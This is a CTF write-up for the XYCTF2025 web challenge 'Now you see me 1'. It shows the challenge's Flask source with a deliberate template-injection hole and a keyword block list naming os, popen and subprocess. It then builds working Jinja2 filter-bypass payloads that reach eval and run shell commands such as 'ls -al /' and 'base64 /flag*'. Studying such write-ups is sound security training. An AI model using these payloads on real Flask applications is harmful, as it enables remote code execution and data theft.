XYCTF2025 Now you see me 1 Writeup

185 Views
1 Comment

A total of 5163 characters, expected to take 13 minutes to complete reading.

Title

# YOU FOUND ME ;)
# -*- encoding: utf-8 -*-
'''
@File    :   src.py
@Time    :   2025/03/29 01:10:37
@Author  :   LamentXU 
'''
import flask
import sys
enable_hook =  False
counter = 0
def audit_checker(event,args):
    global counter
    if enable_hook:
        if event in ["exec", "compile"]:
            counter += 1
            if counter > 4:
                raise RuntimeError(event)

lock_within = [
    "debug", "form", "args", "values", 
    "headers", "json", "stream", "environ",
    "files", "method", "cookies", "application", 
    'data', 'url' ,'\'', '"', 
    "getattr", "_", "{{", "}}", 
    "[", "]", "\\", "/","self", 
    "lipsum", "cycler", "joiner", "namespace", 
    "init", "dir", "join", "decode", 
    "batch", "first", "last" , 
    " ","dict","list","g.",
    "os", "subprocess",
    "g|a", "GLOBALS", "lower", "upper",
    "BUILTINS", "select", "WHOAMI", "path",
    "os", "popen", "cat", "nl", "app", "setattr", "translate",
    "sort", "base64", "encode", "\\u", "pop", "referer",
    "The closer you see, the lesser you find."] 
        # I hate all these.
app = flask.Flask(__name__)
@app.route('/')
def index():
    return 'try /H3dden_route'
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
    global enable_hook, counter
    name = flask.request.args.get('My_ins1de_w0r1d')
    if name:
        try:
            if name.startswith("Follow-your-heart-"):
                for i in lock_within:
                    if i in name:
                        return 'NOPE.'
                enable_hook = True
                a = flask.render_template_string('{#'+f'{name}'+'#}')
                enable_hook = False
                counter = 0
                return a
            else:
                return 'My inside world is always hidden.'
        except RuntimeError as e:
            counter = 0
            return 'NO.'
        except Exception as e:
            return 'Error'
    else:
        return 'Welcome to Hidden_route!'

if __name__ == '__main__':
    import os
    try:
        import _posixsubprocess
        del _posixsubprocess.fork_exec
    except:
        pass
    import subprocess
    del os.popen
    del os.system
    del subprocess.Popen
    del subprocess.call
    del subprocess.run
    del subprocess.check_output
    del subprocess.getoutput
    del subprocess.check_call
    del subprocess.getstatusoutput
    del subprocess.PIPE
    del subprocess.STDOUT
    del subprocess.CalledProcessError
    del subprocess.TimeoutExpired
    del subprocess.SubprocessError
    sys.addaudithook(audit_checker)
    app.run(debug=False, host='0.0.0.0', port=5000)

Ideas

Open the file to find the code is hidden:

XYCTF2025 Now you see me 1 Writeup

Use Notepad Open to discover hidden code and proceed base64 Decrypt to get the source code:

XYCTF2025 Now you see me 1 Writeup

{{ and }} Braces are banned and can be used {% print() %} To bypass, and Follow-your-heart- Beginning. So we can try closing brackets first:

Follow-your-heart-#}{%print()%}{#

Found not disabled request and ., then can we use request What about the attributes inside? "debug", "form", "args", "values", "headers", "json", "stream", "environ", "files", "method", "cookies", "application", 'data', 'url' These attributes are all banned... Seemingly airtight, but we found pragma and mimetype These two properties are not disabled, see their description:

XYCTF2025 Now you see me 1 Writeup

XYCTF2025 Now you see me 1 Writeup

can be sent to the server. HTTP Header! This way we can send any string we want to the server. And we can even use mimetype_params, send to the server array:

XYCTF2025 Now you see me 1 Writeup

Here I use it directly for convenience. request.args Pass parameters, although args It is disabled, but we can pass in mimetype=args to bypass and use |attr() to get the properties, and finally with the array get() Method to get the value (note that because the quotes are filtered, we can only pass in numbers, but we can pass. |string filter to turn numbers into strings). Our incoming request:

http://eci-2ze7jndrdiix83nprigb.cloudeci1.ichunqiu.com:8080/H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23}{%print((request|attr(request.mimetype)).get(0|string))%}{%23&0=__init__

and bring Header:

XYCTF2025 Now you see me 1 Writeup

Get what we want __init__!

Theory is feasible, start practice! First to bypass the brackets [], __getitem__ bypass [], using the following Payload:

().__class__.__bases__.__getitem__(0).__subclasses__()

Converting to the code just bypassed is:

Follow-your-heart-%23}{%print(((()|attr((request|attr(request.mimetype)).get(0|string))|attr((request|attr(request.mimetype)).get(1|string))|attr((request|attr(request.mimetype)).get(2|string)))(0)|attr((request|attr(request.mimetype)).get(3|string)))())%}{%23

and pass in the parameter:

XYCTF2025 Now you see me 1 Writeup

Then find what we want in the return value below. <class 'os._wrap_close'>, in 138 Line:

XYCTF2025 Now you see me 1 Writeup

Modify the following original payload:

().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(137).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')("__import__('os').popen('ls -al /').read()")

Get the final payload:

My_ins1de_w0r1d:Follow-your-heart-%23}{%print(((((((()|attr((request|attr(request.mimetype)).get(0|string))|attr((request|attr(request.mimetype)).get(1|string))|attr((request|attr(request.mimetype)).get(2|string)))(0)|attr((request|attr(request.mimetype)).get(3|string)))()|attr((request|attr(request.mimetype)).get(2|string)))(137)|attr((request|attr(request.mimetype)).get(4|string))|attr((request|attr(request.mimetype)).get(5|string))|attr((request|attr(request.mimetype)).get(2|string)))((request|attr(request.mimetype)).get(6|string))|attr((request|attr(request.mimetype)).get(2|string)))((request|attr(request.mimetype)).get(7|string)))((request|attr(request.mimetype)).get(8|string)))%}{%23
0:__class__
1:__bases__
2:__getitem__
3:__subclasses__
4:__init__
5:__globals__
6:__builtins__
7:eval
8:__import__('os').popen('ls -al /').read()

XYCTF2025 Now you see me 1 Writeup

This thing is not even clear flag?! convert file base64 Read the code locally? Change the command __import__('os').popen('base64 /flag*').read().

My_ins1de_w0r1d:Follow-your-heart-%23}{%print(((((((()|attr((request|attr(request.mimetype)).get(0|string))|attr((request|attr(request.mimetype)).get(1|string))|attr((request|attr(request.mimetype)).get(2|string)))(0)|attr((request|attr(request.mimetype)).get(3|string)))()|attr((request|attr(request.mimetype)).get(2|string)))(137)|attr((request|attr(request.mimetype)).get(4|string))|attr((request|attr(request.mimetype)).get(5|string))|attr((request|attr(request.mimetype)).get(2|string)))((request|attr(request.mimetype)).get(6|string))|attr((request|attr(request.mimetype)).get(2|string)))((request|attr(request.mimetype)).get(7|string)))((request|attr(request.mimetype)).get(8|string)))%}{%23
0:__class__
1:__bases__
2:__getitem__
3:__subclasses__
4:__init__
5:__globals__
6:__builtins__
7:eval
8:__import__('os').popen('base64 /flag*').read()

XYCTF2025 Now you see me 1 Writeup

Copy the above base64 code to the local payload.txtand with the command base64 -d payload.txt > file Decode the file back and get it. wave File?!

XYCTF2025 Now you see me 1 Writeup

Use DeepSound Software solution out:

XYCTF2025 Now you see me 1 Writeup

Open the txt file to get flag:

XYCTF2025 Now you see me 1 Writeup

END
 0
Comment(1 Comment)
验证码
en_USEnglish